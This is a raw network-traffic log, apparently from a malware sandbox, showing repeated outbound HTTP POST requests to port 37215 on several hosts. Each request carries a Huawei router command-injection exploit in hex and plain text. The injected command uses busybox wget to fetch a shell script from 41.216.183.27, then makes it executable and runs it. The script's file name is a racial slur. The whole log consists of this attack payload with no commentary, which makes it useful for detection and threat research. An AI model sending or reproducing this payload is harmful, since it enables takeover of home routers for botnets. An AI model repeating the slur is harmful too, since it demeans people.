Feb 19, 2024 18:36:34.315598011 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460702896 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	57332	31.136.245.12	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.243495941 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:50.289599895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.432728052 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.462992907 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:34.315469980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460700989 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	42198	31.136.117.81	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.243746996 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
